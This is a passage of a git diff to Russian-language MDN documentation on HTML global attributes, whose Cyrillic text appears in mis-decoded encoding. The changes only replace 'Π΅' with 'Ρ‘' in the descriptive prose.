- Π‘ΠΈΠΌΠ²ΠΎΠ» * ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Π΅Π½ Π»ΡŽΠ±Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ производствСнному ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ ΠΈΠΌΠ΅Π½ xml, со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ ограничСниями:</p>
+ Π‘ΠΈΠΌΠ²ΠΎΠ» * ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Ρ‘Π½ Π»ΡŽΠ±Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ производствСнному ΠΏΡ€Π°Π²ΠΈΠ»Ρƒ ΠΈΠΌΡ‘Π½ xml, со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ ограничСниями:</p>
<ul>
<li>имя Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с xml, Π² любом случаС для этих Π±ΡƒΠΊΠ² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ рСгистр;</li>
diff --git a/files/ru/web/html/global_attributes/id/index.html b/files/ru/web/html/global_attributes/id/index.html
index 11ec8acfa3..989ac64818 100644
--- a/files/ru/web/html/global_attributes/id/index.html
+++ b/files/ru/web/html/global_attributes/id/index.html
@@ -35,7 +35,7 @@ translation_of: Web/HTML/Global_attributes/id
<tr>
<td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td>
<td>{{Spec2('HTML WHATWG')}}</td>
- <td>НСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с послСднСго "snapshot" (состояниС сохранСнноС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ), {{SpecName('HTML5.1')}}</td>
+ <td>НСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с послСднСго "snapshot" (состояниС сохранённоС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ), {{SpecName('HTML5.1')}}</td>
</tr>
<tr>
<td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td>
diff --git a/files/ru/web/html/global_attributes/index.html b/files/ru/web/html/global_attributes/index.html
index 39e0fe294b..c662d66d36 100644
--- a/files/ru/web/html/global_attributes/index.html
+++ b/files/ru/web/html/global_attributes/index.html
@@ -23,9 +23,9 @@ translation_of: Web/HTML/Global_attributes
<dl>
<dt id="attr-accesskey"><code><a href="/ru/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code></dt>
- <dd>Π”Π°Π΅Ρ‚ подсказку для создания ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ клавиш для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ элСмСнта. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит список Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ символов. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉΡΡ Π² раскладкС клавиатуры символ ΠΈΠ· списка.</dd>
+ <dd>Π”Π°Ρ‘Ρ‚ подсказку для создания ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ клавиш для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ элСмСнта. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит список Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ символов. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉΡΡ Π² раскладкС клавиатуры символ ΠΈΠ· списка.</dd>
<dt id="attr-class"><code><a href="/ru/docs/Web/HTML/Global_attributes/class">class</a></code></dt>
- <dd>Π­Ρ‚ΠΎ список Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ классов элСмСнта. ΠšΠ»Π°ΡΡΡ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β CSS ΠΈΒ JavaScript Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ элСмСнтам Ρ‡Π΅Ρ€Π΅Π·Β <a href="/ru/docs/Web/CSS/Class_selectors" title="Π’ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, сСлСкторы ΠΏΠΎ CSS классу находят элСмСнты с Π½ΡƒΠΆΠ½Ρ‹ΠΌ классом.">сСлСкторы ΠΏΠΎ классу</a>Β ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π·Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Document.getElementsByClassName()")}}.</dd>
+ <dd>Π­Ρ‚ΠΎ список Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ классов элСмСнта. ΠšΠ»Π°ΡΡΡ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚Β CSS ΠΈΒ JavaScript Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ элСмСнтам Ρ‡Π΅Ρ€Π΅Π·Β <a href="/ru/docs/Web/CSS/Class_selectors" title="Π’ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, сСлСкторы ΠΏΠΎ CSS классу находят элСмСнты с Π½ΡƒΠΆΠ½Ρ‹ΠΌ классом.">сСлСкторы ΠΏΠΎ классу</a>Β ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π·Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Document.getElementsByClassName()")}}.</dd>
<dt id="attr-contenteditable"><code><a href="/ru/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code></dt>
<dd>Π­Ρ‚ΠΎ пСрСчислимый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Π½ΡƒΠΆΠ½ΠΎ Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт. Если это Ρ‚Π°ΠΊ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ свой Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅. Атрибут Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:
<ul>
@@ -42,7 +42,7 @@ translation_of: Web/HTML/Global_attributes
<ul>
<li><code>ltr</code>, Ρ‡Ρ‚ΠΎ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ΡΡ ΠΊΠ°ΠΊΒ <em>left to right </em>(слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ), ΠΈ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΎ для языков, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΈΡˆΡƒΡ‚ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎΒ (ΠΊΠ°ΠΊ Π² русском);</li>
<li><code>rtl</code>, Ρ‡Ρ‚ΠΎ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ΡΡ ΠΊΠ°ΠΊ <em>right to left</em>Β (справа Π½Π°Π»Π΅Π²ΠΎ), ΠΈ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΎ для языков, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΈΡˆΡƒΡ‚ справа Π½Π°Π»Π΅Π²ΠΎΒ (ΠΊΠ°ΠΊ Π² арабском);</li>
- <li><code>auto</code>Β β€” ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ. Оно примСняСт Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ β€” Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ символы Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€,Β ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚ символ со строгим Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ примСняСт это Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊΠΎ всСму элСмСнту.</li>
+ <li><code>auto</code>Β β€” ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ. Оно примСняСт Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ β€” Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ символы Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€,Β ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ символ со строгим Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ примСняСт это Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊΠΎ всСму элСмСнту.</li>
</ul>
</dd>
<dt id="attr-draggable"><code><a href="/ru/docs/Web/HTML/Global_attributes/draggable">draggable</a></code> {{experimental_inline}}</dt>
@@ -56,12 +56,12 @@ translation_of: Web/HTML/Global_attributes
<dd>Π­Ρ‚ΠΎ пСрСчислимый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚ΠΈΠΏΡ‹ содСрТимого, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Ρ‚Π°Ρ‰ΠΈΡ‚ΡŒ Π² элСмСнт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">Drag and Drop API</a>. Он ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:
<ul>
<li><code>copy</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ пСрСтаскиваниС создаст копию пСрСтаскиваСмого элСмСнта;</li>
- <li><code>move</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ пСрСтаскиваСмый элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² Π½ΠΎΠ²ΠΎΠ΅ располоТСниС;</li>
+ <li><code>move</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Ρ‡Ρ‚ΠΎ пСрСтаскиваСмый элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² Π½ΠΎΠ²ΠΎΠ΅ располоТСниС;</li>
<li><code>link</code>Β β€” создаст ссылку Π½Π° пСрСтаскиваСмыС Π΄Π°Π½Π½Ρ‹Π΅.</li>
</ul>
</dd>
<dt id="attr-hidden"><code><a href="/ru/docs/Web/HTML/Global_attributes/hidden">hidden</a></code></dt>
- <dd>Π­Ρ‚ΠΎ логичСский Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Ρ‡Ρ‚ΠΎ элСмСнт ΡƒΠΆΠ΅ (ΠΈΠ»ΠΈ Π΅Ρ‰Π΅) Π½Π΅ Π°ΠΊΡ‚ΡƒΠ°Π»Π΅Π½. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, напримСр для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΡ€ΡΡ‚Π°Ρ‚ΡŒ части страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²ΠΈΠ΄Π½Ρ‹ Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ элСмСнты. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ содСрТимоС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° Π·Π°ΠΊΠΎΠ½Π½Ρ‹Ρ… основаниях.</dd>
+ <dd>Π­Ρ‚ΠΎ логичСский Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Ρ‡Ρ‚ΠΎ элСмСнт ΡƒΠΆΠ΅ (ΠΈΠ»ΠΈ Π΅Ρ‰Ρ‘) Π½Π΅ Π°ΠΊΡ‚ΡƒΠ°Π»Π΅Π½. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, напримСр для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΡ€ΡΡ‚Π°Ρ‚ΡŒ части страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²ΠΈΠ΄Π½Ρ‹ Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ элСмСнты. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ содСрТимоС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° Π·Π°ΠΊΠΎΠ½Π½Ρ‹Ρ… основаниях.</dd>
<dt id="attr-id"><code><a href="/ru/docs/Web/HTML/Global_attributes/id">id</a></code></dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Β (ID), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»Π΅Π½ для всСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Он ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ элСмСнта ΠΏΡ€ΠΈ создании ссылок Π½Π° Π½Π΅Π³ΠΎ, исполнСнии скриптов ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠΈ стилСй (посрСдством CSS).</dd>
<dt id="attr-itemid"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemid">itemid</a></code> {{experimental_inline}}</dt>
@@ -71,7 +71,7 @@ translation_of: Web/HTML/Global_attributes
<dt id="attr-itemtype"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemtype">itemtype</a></code> {{experimental_inline}}</dt>
<dd>Π­Ρ‚ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ относятся ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ <a class="external" href="http://html.spec.whatwg.org/multipage/microdata.html">ΠΌΠΈΠΊΡ€ΠΎΠ΄Π°Π½Π½Ρ‹Ρ…</a>.</dd>
<dt id="attr-lang"><code><a href="/ru/docs/Web/HTML/Global_attributes/lang">lang</a></code></dt>
- <dd>УчаствуСт Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ языка элСмСнта, языка написания нСрСдактируСмых элСмСнтов или языка, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ написаны Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ СдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅Β IETF <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages"><em>BCP47</em></a>. <a href="#attr-xml:lang"><strong>xml:lang</strong></a>Β ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ Π½Π°Π΄ Π½ΠΈΠΌ.</dd>
+ <dd>УчаствуСт Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ языка элСмСнта, языка написания нСрСдактируСмых элСмСнтов или языка, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ написаны Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΡ‚ СдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅Β IETF <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages"><em>BCP47</em></a>. <a href="#attr-xml:lang"><strong>xml:lang</strong></a>Β ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ Π½Π°Π΄ Π½ΠΈΠΌ.</dd>
<dt id="attr-spellcheck"><code><a href="/ru/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> {{experimental_inline}}</dt>
<dd>Π­Ρ‚ΠΎ пСрСчислимый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ, ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ содСрТимоС элСмСнта Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½ΠΎ Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ орфографичСских ошибок. Он ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:
<ul>
@@ -94,7 +94,7 @@ translation_of: Web/HTML/Global_attributes
<dt id="attr-translate"><code><a href="/ru/docs/Web/HTML/Global_attributes/translate">translate</a></code></dt>
<dd>Π­Ρ‚ΠΎ пСрСчислимый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, слСдуСт Π»ΠΈ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΡ‚ΡŒ значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² элСмСнта ΠΈ Π΅Π³ΠΎ тСкстовоС содСрТимоС (содСрТимоС ΡƒΠ·Π»Π° {{domxref("Text")}})Β ΠΏΡ€ΠΈ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ страницы. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ значСния:
<ul>
- <li><em>пустая строка</em> ΠΈΠ»ΠΈΒ <code>"yes"</code>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½;</li>
+ <li><em>пустая строка</em> ΠΈΠ»ΠΈΒ <code>"yes"</code>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Ρ‘Π½;</li>
<li><code>"no</code>"Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ элСмСнт Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½.</li>
</ul>
</dd>
diff --git a/files/ru/web/html/global_attributes/inputmode/index.html b/files/ru/web/html/global_attributes/inputmode/index.html
index 14b98a01bc..8f6bd811ec 100644
--- a/files/ru/web/html/global_attributes/inputmode/index.html
+++ b/files/ru/web/html/global_attributes/inputmode/index.html
@@ -17,7 +17,7 @@ translation_of: Web/HTML/Global_attributes/inputmode
<dt><code>numeric</code></dt>
